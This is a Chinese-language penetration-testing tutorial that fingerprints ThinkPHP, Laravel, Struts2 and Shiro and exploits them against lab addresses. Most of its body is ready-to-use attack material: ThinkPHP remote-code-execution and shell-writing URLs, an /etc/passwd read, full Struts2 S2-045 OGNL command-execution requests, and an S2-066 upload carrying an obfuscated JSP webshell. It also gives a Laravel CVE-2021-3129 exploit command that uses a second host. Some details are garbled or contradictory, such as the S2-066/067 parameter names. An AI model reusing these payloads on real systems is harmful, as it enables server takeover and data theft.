网络安全常见的框架漏洞

  • Home  
  • 网络安全常见的框架漏洞

网络安全常见的框架漏洞

前言

随着 Web 应用开发效率需求的提升，ThinkPHP、Laravel、Struts2、Shiro 等主流开发框架已成为企业建站的 "基础设施"。但框架的广泛使用也带来了共性安全风险 ------ 一旦框架存在未修复的漏洞，攻击者可通过统一的方法批量渗透，其影响范围远超单个自定义应用漏洞。

本文聚焦国内常用 Web 框架的核心安全问题，以 "特征识别→漏洞原理→实战利用" 为核心逻辑，系统梳理了 ThinkPHP 的远程代码执行、Laravel 的反序列化漏洞、Struts2 的文件上传与命令执行、Shiro 的记住我 Cookie 漏洞等典型场景。内容不仅包含可直接复用的 POC 代码、框架特征检测技巧（如手动构造报错、插件识别），还特别强调了实战中的风险边界（如慎用 DOS 类、溢出类 POC），既适合安全初学者入门框架漏洞原理，也能为渗透测试人员提供实战参考，帮助读者建立 "从识别框架到精准利用漏洞" 的完整技术链路。

一、了解框架特征---越多越好

1.图标、常见路径、目录结构、特殊的功能扣、常见的报错页面特征

2.怎么构建报错

3.了解常见的漏洞

认证绕过、RCE、反序列化、SQL注入、文件上传

4.会使用相关工具

图像化的，综合性的，单个命令行的

5.分析漏洞原理，开放自己的工具

怎么触发的、有什么回显信息、各种情况下的报错、攻击成功或者失败的特征、会构建对应的payload

6.实战

​ 打靶练习

​ 真实环境测试、你要知道你的工具打下去会有什么效果-有什么危害（注意：影响业务的、溢出类的、DOS类的、导致服务器容器崩溃的漏洞POC慎用）

其他：审计相关的代码，去通读了解

二、ThinkPHP(TP框架)

1.特征

特征1：标题图标

特征2：标志页面(index.php)--十年磨一剑

特征3：手动构建报错/目录扫描工具(dirsearch)，获取版本信息

cmd

复制代码

index.php?s=dg

/index/dadada

如：http://192.168.61.252:8080/index.php?s=1

注意：现在大多数网站已经将TP框架信息隐藏了，要手动构建报错，去寻找控制器报错（构建一个不存在的控制器）

特征4：路径特征和控制器不存在的报错

5.网站的绝对路径中展示的地址

6.利用wappalyzer插件

2.框架漏洞

二开的：历史遗留漏洞可能会修复（也可能存在）、新的功能（会有新的漏洞产生）

1.使用历史漏洞去打

cmd

复制代码

知道版本，去查历史漏洞：互联网

历年HVV的漏洞

检测步骤：

1、构造报错或者其他手段获取模板版本

2、基于版本定位历史漏洞

3、手动测试历史漏洞

2.根据对方的功能进行手动测试

1、远程代码执行漏洞

影响版本：ThinkPHP5 5.0.22/5.1.29

手动POC:

php

复制代码

/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #执行命令

写入shell：

?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=

自动化工具检测

2、任意文件读取

复制代码

/?s=index/\think\Lang/load&file=/etc/passwd

3、数据库账号密码泄露

cmd

复制代码

?s=index/think\config/get&name=database.username

4、6.0.12 版本任意文件包含漏洞

利用BP绕过对前端URL中特殊符号的编码，写入shell

5、5.0.23命令执行

复制代码

POST /index.php?s=captcha HTTP/1.1

Host: localhost

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

5.0.24 反序列化漏洞，入口：需要添加控制器入口

漏洞环境中pearcmd的路径是在：/usr/local/lib/php/pearcmd.php

三、Laravel框架漏洞

1.CVE-2024-40075

*8.版本的反序列化漏洞

注意需要添加入口控制器作为当前反序列化漏洞利用点，正常业务中不会存在。

教程：https://xz.aliyun.com/news/10088

框架的特征；

复制代码

首页图标以及当前版本信息

特殊路径

错误页面

插件

2.CVE-2021-3129

漏洞特征

复制代码

http://192.168.137.133:8080/_ignition/execute-solution

当前路径地址存在且存在报错如下，即存在该漏洞

漏洞原理：

复制代码

#先调用php协议将larvel.log日志清空：

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

2、把当前日志文件当做一个 目录然后触发file_get_contents函数的phar反序列化

构建的日志地址：phar://../storage/logs/laravel.log/test.txt

其他部分看代码中exp.py

利用：

复制代码

python CVE-2021-3129.py -u http://192.168.61.252:8080 -e -p http://192.168.61.249:8089

三、Struts2框架漏洞

​ Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller）来建视图的数据交2是Struts的下一代产品，是在struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。其全新的Struts2的体系结构Struts1的体系结构差别巨大。

1.特征

1.构建页面consloe路径

cmd

复制代码

/struts/webconsole.html #devMode设置为true

/webconsole.html

2.通过actionErrors方法去判定

cmd

复制代码

?actionErrors=1

3.根据请求文件的后缀去判定

cmd

复制代码

.do

.action #不是所有的action都是Struts2框架

4.根据页面报错或者异常信息判定(不一定准确)

会把数据直接输出你的请求路径在页面

可能会直接跳转，访问什么都是200

404或者500

页面结构有明显的变化

cmd

复制代码

http://192.168.137.133:8080/.ssh/id_rsa~

2.S2-045远程命令执行漏洞(CVE-2017-5638)

S2-045的攻击payload

cmd

复制代码

POST /doUpload.action HTTP/1.1

Host: 192.168.61.252:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='执行的系统命令').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"boundary=----geckoformboundary11f747c873149976a02f557907e0f074

Content-Length: 320

Origin: http://192.168.61.252:8080

Connection: keep-alive

Referer: http://192.168.61.252:8080/

Cookie: JSESSIONID=1fhcxsb9jwsr11qz8njz7pge

Upgrade-Insecure-Requests: 1

Priority: u=0, i

------geckoformboundary11f747c873149976a02f557907e0f074

Content-Disposition: form-data; name="upload"; filename="1.txt"

Content-Type: text/plain

------geckoformboundary11f747c873149976a02f557907e0f074

Content-Disposition: form-data; name="caption"

------geckoformboundary11f747c873149976a02f557907e0f074--

cmd

复制代码

POST /doUpload.action HTTP/1.1

Host: 192.168.61.252:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"boundary=----geckoformboundary11f747c873149976a02f557907e0f074

Content-Length: 320

Origin: http://192.168.61.252:8080

Connection: keep-alive

Referer: http://192.168.61.252:8080/

Cookie: JSESSIONID=1fhcxsb9jwsr11qz8njz7pge

Upgrade-Insecure-Requests: 1

Priority: u=0, i

------geckoformboundary11f747c873149976a02f557907e0f074

Content-Disposition: form-data; name="upload"; filename="1.txt"

Content-Type: text/plain

------geckoformboundary11f747c873149976a02f557907e0f074

Content-Disposition: form-data; name="caption"

------geckoformboundary11f747c873149976a02f557907e0f074--

3.S2-066目录穿越文件上传漏洞(CVE-2023-50164)

影响版本：

复制代码

Apache Struts 2.0.0 - 2.5.32

Apache Struts 6.0.0 - 6.3.0

POC

cmd

复制代码

POST /index.action HTTP/1.1

Host: 192.168.137.133:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=----geckoformboundary91b9d0fc8baffeb69ca6815e12601d27

Content-Length: 1410

Origin: http://192.168.137.133:8080

Connection: keep-alive

Referer: http://192.168.137.133:8080/index.action

Cookie: think_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fshell4; XSRF-TOKEN=eyJpdiI6Imc2QlVuN2x4QXJLTVl6Ym94Ymxqb2c9PSIsInZhbHVlIjoiNlpFeGpLRWdyQ3hrYlhTelUrMVJBdDEvZW52anJvMUhoOVhReWR6NEEwd29iUTJkcFlwWlhMNmcyd2xrcHNzQytKWEhDNTdtcytRVHBwMVM0VXhQSXFMdzJDZm12ZS9YOTE1SG4xTnB1VmhsNG5URG1KM3FrVUpJVm13aEg5VWMiLCJtYWMiOiIxNDhmNWQ4NzQyZTAwOTRhYmY1YzRiYTYzN2VlNDAzNjkwNzc0OGJiMjg1ZjY3MGFkMjMzNTA0Mzk5YWFhOTYzIn0%3D; laravel_session=eyJpdiI6InVvMDB3N3ZDMXZRY2w4cnUrYWFtS3c9PSIsInZhbHVlIjoieElSdmV2MklNclVWQTNpak4zSktWbUkvUmVCYzRZTzd3RnczSHVCTSs1YjlVYnMxS013NXlRcHY3M2crVndZK0lMMHJOdEcrM2dKa2RacGN6ZFFGN1E4K1FBVlBHTSt5TTJGOExnNnJTbGVDMW1uQ0FYTVBiNHdaT0FCZVprYUwiLCJtYWMiOiI1N2Q1OTIyYTVmOGRiNzI0NjAzNThlMGU3MzEzNWRhN2E3MTJlYTAzMTQ4YmEyMDliNWNiNDg5M2RkMmI2NGU0In0%3D; JSESSIONID=2608BF58B45D00743166D960690EFF3E

Upgrade-Insecure-Requests: 1

Priority: u=0, i

------geckoformboundary91b9d0fc8baffeb69ca6815e12601d27

Content-Disposition: form-data; name="file"; filename="1.jsp"

Content-Type: application/octet-stream

<%!

class QUEUE extends ClassLoader{

QUEUE(ClassLoader c){super(c);}

public Class option(byte[] b){

return super.defineClass(b, 0, b.length);

}

}

public byte[] manipulator(String str) throws Exception {

Class base64;

byte[] value = null;

try {

base64=Class.forName("sun.misc.BASE64Decoder");

Object decoder = base64.newInstance();

value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });

} catch (Exception e) {

try {

base64=Class.forName("java.util.Base64");

Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);

value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });

} catch (Exception ee) {}

}

return value;

}

%>

<%

String cls = request.getParameter("cmd");

if (cls != null) {

new QUEUE(this.getClass().getClassLoader()).option(manipulator(cls)).newInstance().equals(new Object[]{request,response});

}

%>

------geckoformboundary91b9d0fc8baffeb69ca6815e12601d27

Content-Disposition: form-data; name="top.fileFileName"

../1.jsp

------geckoformboundary91b9d0fc8baffeb69ca6815e12601d27--

4.S2-067文件上传逻辑漏洞(CVE-2024-53677)

受影响版本

复制代码

2.0.0 <= Apache Struts <= 2.3.37

2.5.0 <= Apache Struts <= 2.5.33

6.0.0 <= Apache Struts <= 6.3.0.2

S2-066修复后导致的新的漏洞（修复不完整）---请求参数不一样，066使用fileFileName，067使用top.fileFileName

cmd

复制代码

POST /index.action HTTP/1.1

Host: 192.168.61.252:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=----geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0

Content-Length: 1420

Origin: http://192.168.61.252:8080

Connection: keep-alive

Referer: http://192.168.61.252:8080/index.action

Cookie: JSESSIONID=A92D9EC55D2E832ECDEA0C5548EAFBB8

Upgrade-Insecure-Requests: 1

Priority: u=0, i

------geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0

Content-Disposition: form-data; name="file"; filename="shell1.jsp"

Content-Type: application/octet-stream

<%

shell

%>

------geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0

Content-Disposition: form-data; name="fileFileName"

../shell1.jsp

------geckoformboundarye21ce57a60f37076fbe9e08e1f90a1e0--

工具其次，主要是手动去搓。

四、Shiro

1.特征：

复制代码

记住我--记住密码功能 #不是所有的记住密码都是shiro

在请求的返回中，会有明显的remembere=deleteME才是shiro框架

2.shiro550反序列化(CVE-2016-4437)

影响版本 ：Apache Shiro < 1.2.4

ApacheShiro框架提供了记住密码的功能（RememberMe），用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值，先base64解码然后AES解密再反序列化，就导致了反序列化RCE漏洞。

那么，Payload产生的过程：命令=>序列化=>AES加密（需要私钥：默认密钥）=>base64编码=>RememberMeCookie值在整个漏洞利用过程中，比较重要的是AES加密的密钥，如果没有修改默认的密钥那么就很容易就知道密钥了，Payload构造起来也是十分的简单。

特征判断：是否有记住密码功能--记住我。但是不是所有的有记住密码都是Shiro

有以下特征，100%是Shiro：即在请求的响应包中有明显的

密钥发现：

1、可以基于BP插件进行扫描

2、使用漏洞工具进行爆破

爆破利用连

然后执命令

注意：

如果站在防御者角度，当前请求的http日志，是看不到任何的记录信息的，唯一的区别在于有一个c:bass64编码的命令执行内容

内存马注入

3.shiro721

漏洞流程

cmd

复制代码

1.登录网站获取合法Cookie

2.使用rememberMe字段进行PaddingOracleAttack，获取intermediary

3.利用intermediary构造出恶意的反序列化密文作为Cookie

4.使用新的Cookie请求网站执行攻击

总结

本文围绕 4 个主流 Web 框架的漏洞展开，核心在于解决 "如何快速识别框架" 与 "如何针对性利用漏洞" 两大问题，可总结为三大核心要点：

框架识别是漏洞利用的前提各框架均有独特的 "身份标识"：ThinkPHP 的 "十年磨一剑" 页面与控制器报错、Laravel 的_ignition路径、Struts2 的.action后缀、Shiro 的rememberMe=deleteMe响应头。通过手动构造报错（如不存在的控制器）、目录扫描、浏览器插件（Wappalyzer）等组合手段，可突破 "框架信息隐藏" 的防御，精准定位目标框架类型与版本。

漏洞利用需紧扣 "版本匹配" 与 "实战风险"不同框架的漏洞与版本强绑定：ThinkPHP 5.0.22/5.1.29 的 RCE、Struts2 2.0.0-2.5.32 的 S2-066 漏洞、Shiro <1.2.4 的 550 反序列化漏洞，均需先通过报错或工具确认版本，再选择对应 POC。同时需严格遵守实战红线 ------ 对可能导致业务中断的溢出类、DOS 类 POC，需在授权测试中评估风险后慎用，避免引发生产事故。

"手动测试 + 工具辅助" 是漏洞验证的关键文档中多次体现 "工具为辅助，手动为核心" 的思路：如 Struts2 漏洞需手动构造 POST 请求体、Shiro 550 需结合 BP 爆破默认密钥、ThinkPHP 需手动写入 shell。自动化工具可提升效率，但手动搓 POC 的过程能更深入理解漏洞原理（如 Laravel CVE-2021-3129 的日志反序列化逻辑），也是应对 "框架二开导致工具失效" 的核心能力。

从安全防御视角看，本文内容也为企业提供了明确的防护方向：隐藏框架默认特征（如屏蔽 TP 报错页面）、及时修复版本漏洞（如 Struts2 升级至 6.3.0.2 以上）、禁用框架危险功能（如 Shiro 非必要不开启 RememberMe）。网络安全的对抗本质是 "漏洞信息差" 的博弈，唯有持续关注框架版本更新与漏洞情报，才能在攻防两端占据主动。

线上玩具销售8大攻略
苹果手表寿命一般几年（applewatch表冠使用寿命）